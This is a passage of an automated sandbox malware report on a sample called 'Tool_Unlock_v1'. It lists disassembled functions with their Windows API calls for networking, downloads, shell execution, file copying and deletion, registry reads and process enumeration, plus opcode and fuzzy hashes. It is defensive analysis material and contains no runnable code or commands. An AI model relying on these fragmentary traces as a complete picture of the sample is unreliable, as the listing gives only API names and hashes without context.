<, xrefs: 0042AD15

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExecuteShell
String ID: <
API String ID: 587946157-4251816714
Opcode ID: f677fad11fb5de9608fc51a4f7792dbe99792b70cd89825d7478f6794b68f419
Instruction ID: ec81909c930b241b22ea4f0d898abc45db00791153960fd450aab3b7cd45d286
Opcode Fuzzy Hash: f677fad11fb5de9608fc51a4f7792dbe99792b70cd89825d7478f6794b68f419
Instruction Fuzzy Hash: 5871337A7412248FC704DFACED86E9AB3F5BF88304B050015E515E7351DAB0AA1ECF45

Function 0042AC59 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteEx.SHELL32(?), ref: 0042ADA2

Strings

<, xrefs: 0042AD15

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExecuteShell
String ID: <
API String ID: 587946157-4251816714
Opcode ID: de93f6531aff86e9fd2e31dfffffd175aac74022aac5f927d8a989fd43e5234f
Instruction ID: 13992ee5e1f314a6fa7e5f3ce4443cf3972b464edcfe8d1092e0c6160b5646ce
Opcode Fuzzy Hash: de93f6531aff86e9fd2e31dfffffd175aac74022aac5f927d8a989fd43e5234f
Instruction Fuzzy Hash: 70510EB67412148FCB04DFA8ED86A9AB3F5BF88304F054429E515EB351EB70AA1ACF45

Function 00426DE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,00677B7B,00000000,00020019,?), ref: 00426E6E

Strings

?, xrefs: 00426E1A

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: Open
String ID: ?
API String ID: 71445658-1684325040
Opcode ID: f5be2ee8eeabae66717e083a3ad943a968b4c55b3f0bd89f0f72f208e0900a03
Instruction ID: a9d04036726f724df567bdde514729243084f254c41e0d1855619836a2d5a62c
Opcode Fuzzy Hash: f5be2ee8eeabae66717e083a3ad943a968b4c55b3f0bd89f0f72f208e0900a03
Instruction Fuzzy Hash: 9A01A9B1204348AFEB20DF55CE91F167BA9AB80708F114819E4489B391DBF0A805CF96

Function 0040D4F6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,00000002,00000010), ref: 0040D562

Strings

'8By, xrefs: 0040D516

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: connect
String ID: '8By
API String ID: 1959786783-3712948396
Opcode ID: ba8773beb847b3a87f11018b4080b47ca8fa6abc2af19690fe82b779b74afab1
Instruction ID: ff36cbce294906d62def2d7fe944f42ab4d9dbab815c75b05bd212648d6f03e0
Opcode Fuzzy Hash: ba8773beb847b3a87f11018b4080b47ca8fa6abc2af19690fe82b779b74afab1
Instruction Fuzzy Hash: 9A01EC712043408FD368DF29D861B5A73E5AF89314F14491CE599C73A2DA75D944CB1A

Function 00426C20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 00426C79

Strings

@, xrefs: 00426C6B

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 00e8c42855c906a86d204d0abbd9f7a63d35fb9e77a78ffabec09cba8e6512b6
Instruction ID: 50a0c4a53756e184a0a22890fed9253e52a188b90d5aaa8378f38f6838c179d8
Opcode Fuzzy Hash: 00e8c42855c906a86d204d0abbd9f7a63d35fb9e77a78ffabec09cba8e6512b6
Instruction Fuzzy Hash: D7F02D765012107FC710DF58CD84F0A7BA8AF44B00F114016F605A72A0EAF4E840CB5A

Function 0040CC20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 0040CC8E

Strings

{3, xrefs: 0040CC38

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileInternetRead
String ID: {3
API String ID: 778332206-757634120
Opcode ID: b7f5712186b07d619e0042bfd84cc37359d6df09c055c2df0c1a7031f2c3bfc5
Instruction ID: 3acca84871ab3f7ee98fe70fd16ab5af5a910e3a2090b18ba05169255cfb3d33
Opcode Fuzzy Hash: b7f5712186b07d619e0042bfd84cc37359d6df09c055c2df0c1a7031f2c3bfc5
Instruction Fuzzy Hash: E0E06575348102DFD318CB08D8D4E3A33A49F44354F1A003CE507C72E1DEB4AC449709

Function 00401130 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00434EEE), ref: 00401161

Strings

zC, xrefs: 00401172

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocNumaVirtual
String ID: zC
API String ID: 4233825816-3288299483
Opcode ID: b9ed5e1a90fc46ea93e9be26b1698be593255086477355b458e07554a47ea2e7
Instruction ID: d1801c5731a493dc0835f2594b316910469dc593323c2deb2d391fd6e96f8e1f
Opcode Fuzzy Hash: b9ed5e1a90fc46ea93e9be26b1698be593255086477355b458e07554a47ea2e7
Instruction Fuzzy Hash: 0BE09231A053018BC308FF3CDD4AB2A73F0AF85205F04826CED88833A6E730D9608786

Function 0040D80E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040D82A

Strings

'8By, xrefs: 0040D80E

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: recv
String ID: '8By
API String ID: 1507349165-3712948396
Opcode ID: 75160ee1464593740fd1f893e12f8f191e4c16bfb49b8b07f36eb20f7e9bc97a
Instruction ID: 784e1ee90fb807fdb7de7fe7ef5e1e9a2cfd7f14fccd5f4b4d070ab463c34914
Opcode Fuzzy Hash: 75160ee1464593740fd1f893e12f8f191e4c16bfb49b8b07f36eb20f7e9bc97a
Instruction Fuzzy Hash: 57E05B313002849BE218CF29DC66F5633D9A744705F18052DF642CB7E2EAA0F915C745

Function 0040D3CC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040D3DE

Strings

'8By, xrefs: 0040D3CC

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: socket
String ID: '8By
API String ID: 98920635-3712948396
Opcode ID: 0b8a3df0392f29ce4bf96082502756dd51e574955ed5f14307ad49e42a24cf65
Instruction ID: 80c9a3822a4e96500f7b27569102181312a491b7834225a862e2402e2d994fa7
Opcode Fuzzy Hash: 0b8a3df0392f29ce4bf96082502756dd51e574955ed5f14307ad49e42a24cf65
Instruction Fuzzy Hash: DDD02B3034015087D618CA18DC91F1931536BC0725F384B2CE1264F7D1D5A28C80C741

Function 00409844 Relevance: 3.0, APIs: 2, Instructions: 50filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 00409890
CreateFileA.KERNEL32 ref: 004098D1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFileInternetOpen
String ID:
API String ID: 2491770829-0
Opcode ID: fe2d0a4d014f2597cf403212a966f6fc0d777ddab9632523d50ab214f1532b81
Instruction ID: 86d691060fc46fab79058fb9a0cd13b6de8c098d275b05c140d7d38d6e467735
Opcode Fuzzy Hash: fe2d0a4d014f2597cf403212a966f6fc0d777ddab9632523d50ab214f1532b81
Instruction Fuzzy Hash: 64116371A113068FD714EF58CC89BA5B3E0FF48308F218568E95497262E7B0AD49CF9D

Function 0040985E Relevance: 3.0, APIs: 2, Instructions: 49filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 00409890
CreateFileA.KERNEL32 ref: 004098D1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFileInternetOpen
String ID:
API String ID: 2491770829-0
Opcode ID: 462da93400a50151f4fb156e37d6be78d36b6493df1ada22383fb93c875c0817
Instruction ID: d4971bc92cbb4c75592ae12b8f97c7aace80220478b85961b2fb9d22c87e3615
Opcode Fuzzy Hash: 462da93400a50151f4fb156e37d6be78d36b6493df1ada22383fb93c875c0817
Instruction Fuzzy Hash: 31116371A113068FD714DF18CC89BA5B3E0FF48308F218558E95497262E7B0AD89CF9D

Function 00427300 Relevance: 3.0, APIs: 2, Instructions: 31processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042733B
Process32First.KERNEL32(00000000,00000128), ref: 00427351

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 32e54d9366f23d2c369e46d387c228bb1bbd5075a14b47211e588691eb5b89ff
Instruction ID: cb446f070588056480cfa0358f8256aed82f717eabc7099fd81d5945c43f4fe3
Opcode Fuzzy Hash: 32e54d9366f23d2c369e46d387c228bb1bbd5075a14b47211e588691eb5b89ff
Instruction Fuzzy Hash: 90F06275202746AFD310DF55DD88E5677A8FB85744F08881CF9059B394E7F46804CB96

Function 0042A3F0 Relevance: 3.0, APIs: 2, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042A412
Process32First.KERNEL32(00000000,00000128), ref: 0042A425

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 3ece2d2da8353e2216658a769f7b932edbb3db3259797eeb56360b595b6dd385
Instruction ID: 82cb69057e30d57f0e78fa4c71b9caebb28f00c2dade2c95c7cd46ea9a3ae51f
Opcode Fuzzy Hash: 3ece2d2da8353e2216658a769f7b932edbb3db3259797eeb56360b595b6dd385
Instruction Fuzzy Hash: 31F0A070202250BFD7109F24DD89F9ABBE8EF4A701F05441CF549CB2A0E6B0DC11DB56

Function 0042A530 Relevance: 3.0, APIs: 2, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042A551
Process32First.KERNEL32(00000000), ref: 0042A562

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 7bc425211247c0a6fc2613012374257e216d4e880a6ce941d88e7aec77cb4600
Instruction ID: 98b575129836dac50e734a4557afcaf2a816f41afa7b138cc7b87430be7cec25
Opcode Fuzzy Hash: 7bc425211247c0a6fc2613012374257e216d4e880a6ce941d88e7aec77cb4600
Instruction Fuzzy Hash: 11F0A9B0301500AFE714EF18DC4AFAA3BE8EB09745F01002CF946DB382EA789C508B62

Function 0042FC17 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042FC25
GetDriveTypeA.KERNEL32 ref: 0042FC3A

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DriveTypememset
String ID:
API String ID: 1397174798-0
Opcode ID: ccc5cfa48de15d218c5af29a96f64178b2d482ab394c4debc1aa75e192d8befc
Instruction ID: dfbe18af45086f86c9d1ca6eb4e526f1988b7daeae260ac50c8024c6c172dbdb
Opcode Fuzzy Hash: ccc5cfa48de15d218c5af29a96f64178b2d482ab394c4debc1aa75e192d8befc
Instruction Fuzzy Hash: 0BE0867DF411145BD710CB80DC41F1DB3766BD8705F184526F90493381EAB0B9028B85

Function 00438FCA Relevance: 1.9, APIs: 1, Instructions: 435libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00678F32), ref: 0043962D

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f86af38bbd06a89dcb361e902a6b7dc9a3dcea5dce6f83ab1ec15e0bc9fb232e
Instruction ID: 1a2d84d4775da3617951769062e97947583bbcc079f9237879b63a1436a51657
Opcode Fuzzy Hash: f86af38bbd06a89dcb361e902a6b7dc9a3dcea5dce6f83ab1ec15e0bc9fb232e
Instruction Fuzzy Hash: AD02AF713A5B04DFC308EB58EC99D1433E6EB58754B04802AE81AD7765FAF26C54CB2B

Function 004133FF Relevance: 1.7, APIs: 1, Instructions: 196fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00413640

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: bd3222ab69d8299f94b77e0d7441326f22a20f3fce3eb7e295bcea6c604e1cb1
Instruction ID: ae19a913d31a375a59796e4b4f3a0cb075516f9ab1a586a3bcc08d44e261a7ea
Opcode Fuzzy Hash: bd3222ab69d8299f94b77e0d7441326f22a20f3fce3eb7e295bcea6c604e1cb1
Instruction Fuzzy Hash: B17117367912008FC728DB9DDDE5E9AB7F1BF89204B550568F50AD7321EAB0AE04CB09

Function 00433A3C Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00433B30

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 47bc36b69f2674918b77f082231b11e76dfb2cee5c9266e0560a905a83ece530
Instruction ID: b10e1ec481a9b90b140a2026521b5d48f015f651800799be0992cb6fd0a61e6c
Opcode Fuzzy Hash: 47bc36b69f2674918b77f082231b11e76dfb2cee5c9266e0560a905a83ece530
Instruction Fuzzy Hash: 52718E72A001248FCB04DF6CDD81B99B3F0FFC9204F044179EA19D3352EA74AE588B9A

Function 0040D5AE Relevance: 1.7, APIs: 1, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040D7BB

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 242812aa30e00cb00459897ef07cc5a3e4f15c5465b7c331f2ef42de345f1b26
Instruction ID: c65ba5d4bbcf02eab8aad7571c1815756d83878554d65a8d6c54e3f5c724ae35
Opcode Fuzzy Hash: 242812aa30e00cb00459897ef07cc5a3e4f15c5465b7c331f2ef42de345f1b26
Instruction Fuzzy Hash: 35515372354300AFC328DB9DEC91F9A73E6AFD4255F084528F819D3362D6B4EA14CB59

Function 00413B76 Relevance: 1.6, APIs: 1, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00413CFE

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: adcef298c2014900a4c3e420b88adecb84650d16d396df76adf057593f70a1d5
Instruction ID: 2f537b5a0db2e7e9e56c4494443d2de4703f83e84224063fcf8cf108ab3a00ec
Opcode Fuzzy Hash: adcef298c2014900a4c3e420b88adecb84650d16d396df76adf057593f70a1d5
Instruction Fuzzy Hash: EB5158367822108FC718DB9DDDE1E99B7F1BF88204B550568F909E7311EAB0EE05CB59

Function 00412069 Relevance: 1.6, APIs: 1, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00412193

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 4587616944448a5652c2f080088bd78832432d640ab80ef09410dfc9fad10240
Instruction ID: 8bd0f18f70f59a15079729620a6e9ebc5c06956587fad9f7b9880a35d2ae134d
Opcode Fuzzy Hash: 4587616944448a5652c2f080088bd78832432d640ab80ef09410dfc9fad10240
Instruction Fuzzy Hash: E6410C727002149FCB09EF9EDC81A9D73E5AF89305B084479E41AE3352DA70EB59CB99

Function 0042945A Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CloseWindow.USER32(?), ref: 004295D9

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseWindow
String ID:
API String ID: 2868366576-0
Opcode ID: 5ced1607dddc4ca01cc17e28bab9146f367b1dd0286bfd52e8f87a24bffefc60
Instruction ID: 2b9ebf8589f684d422ad30a251006a6ca59521d75f4d3ee2cfff867bd5343f6d
Opcode Fuzzy Hash: 5ced1607dddc4ca01cc17e28bab9146f367b1dd0286bfd52e8f87a24bffefc60
Instruction Fuzzy Hash: 95511275A0024DDFCB06EFA8D895C99B7F9FF083067044568E842A7721FB30AA28CF55

Function 0041237C Relevance: 1.6, APIs: 1, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004124AA

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: f9372b66c8c060bdfbd0277bf085909135aac516f04beca651a4e255144f74c5
Instruction ID: fa3542ee507c14501a46c20fcf530b4e21b9e09d37976bf1e29b475bbdc74e7b
Opcode Fuzzy Hash: f9372b66c8c060bdfbd0277bf085909135aac516f04beca651a4e255144f74c5
Instruction Fuzzy Hash: 86410C327002149BCB08EF9EDC91A9D73E5AF88305B044879E50AE7352DA64EA59CB99

Function 004121E1 Relevance: 1.6, APIs: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 004122ED

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c1c48f2624e95608fadb28c69489e422c9abd2cec3a4897ca4fc9cea83efe1a7
Instruction ID: 54a5da4b91f3b3288b1fcd9c511f3aae7bbad4a833ce4040a2deca0118dadae6
Opcode Fuzzy Hash: c1c48f2624e95608fadb28c69489e422c9abd2cec3a4897ca4fc9cea83efe1a7
Instruction Fuzzy Hash: EA413D72B002189FDB08EF9DDC81A9D77F5BF98305B184414E805E7366DBB4AA41CB99

Function 00412525 Relevance: 1.6, APIs: 1, Instructions: 99fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 00412632

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c23b8bbde17be785d26ddff588ec3ef637ed9d800d76eee50ee327085b5efae2
Instruction ID: 6fa500d981881368bf8a35f04939995c783d31b9f0d426788ce0f6dd552c63be
Opcode Fuzzy Hash: c23b8bbde17be785d26ddff588ec3ef637ed9d800d76eee50ee327085b5efae2
Instruction Fuzzy Hash: 05414C76A002089FDB08EF99DC81ADDB7F1BF88305F084528E805E7352D674EA45CB55

Function 00408754 Relevance: 1.6, APIs: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 00408769

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: 9849515c99776a96aab6ef631a1b587dc0ebb877d6b3bdab231ca1f6430e3e6d
Instruction ID: da0360d745333fbe959e16f5ba24e7737f7798b1a95b192d6209b24d338b7bae
Opcode Fuzzy Hash: 9849515c99776a96aab6ef631a1b587dc0ebb877d6b3bdab231ca1f6430e3e6d
Instruction Fuzzy Hash: 0831FA72A005288FCB14DFA8EC81ADC77B4EF98709B040024E52AD3266DA70EB55CF88

Function 0042706F Relevance: 1.6, APIs: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00677BC7,00000000,?,?), ref: 00427177

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 43b2b59949358ee7d62d38bba9cb1c9b1d00e33da37f566c6713add48968dbc3
Instruction ID: 20885aa84259bc116820c6bfb066b52633aeda555e5157a871355ff936ebdaa5
Opcode Fuzzy Hash: 43b2b59949358ee7d62d38bba9cb1c9b1d00e33da37f566c6713add48968dbc3
Instruction Fuzzy Hash: 83312B72344344EFD754DF8ECE81E6A77E6AB88605F044628E446C7351EAF4F905CB1A

Function 00402938 Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 004029D4

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 97adc42425c1fd6ea032181269f167e220d0f20c8327ab04650c1708369a9e71
Instruction ID: 3a65ce6743a8023333f45622062ae02c7911f2b4123ce99a83ebba8f016a170f
Opcode Fuzzy Hash: 97adc42425c1fd6ea032181269f167e220d0f20c8327ab04650c1708369a9e71
Instruction Fuzzy Hash: 3B319D36A00349CFCB04DFA8DDC1EADB7F4EF58204705462AE815EB322E730AA558F58

Function 004072EF Relevance: 1.6, APIs: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 004072F7

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: e48fc24a648b12499edf97cbc3c0da3752ee38391eaa12b41e2b34e854e545a1
Instruction ID: 366d17a99b52cfda0ba1c6432930ee889da3bfff02396af4797cdf74c117579e
Opcode Fuzzy Hash: e48fc24a648b12499edf97cbc3c0da3752ee38391eaa12b41e2b34e854e545a1
Instruction Fuzzy Hash: EF312C72A00218CFDB14DF98EC91ADD73B5FF58609F044024E916E32A2DA30EF55CB98

Function 00406610 Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 004066E3

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: CrackInternet
String ID:
API String ID: 1381609488-0
Opcode ID: 7301596c8ae130c413a8e335ed109669f30724f41c75767e8a6cef31879ad45e
Instruction ID: d0ffa79147fa862a27d00fc943b19e86054cfe69f4fd12eaae9517628bdadec8
Opcode Fuzzy Hash: 7301596c8ae130c413a8e335ed109669f30724f41c75767e8a6cef31879ad45e
Instruction Fuzzy Hash: C121F7B0600204AFEB54DF99DC84A5D77E4FF4D3A5F000224F914C7392D234E996CB6A

Function 0040CB0D Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET ref: 0040CBFF

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 360c9572f19f9be81a0a77b8566927b5659d8b79db7b636eab134b141a4e0f29
Instruction ID: 21db492e1665309d5526c74c560d2f551f0981039af892892b23fa4a745c5c92
Opcode Fuzzy Hash: 360c9572f19f9be81a0a77b8566927b5659d8b79db7b636eab134b141a4e0f29
Instruction Fuzzy Hash: 49313CB57142049FC344DF5CEC91E5A33E1BB58314F0A052CF94AC3362EAB0E9548B0E

Function 00410FC0 Relevance: 1.6, APIs: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 004110A1

Memory Dump Source

Source File: 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
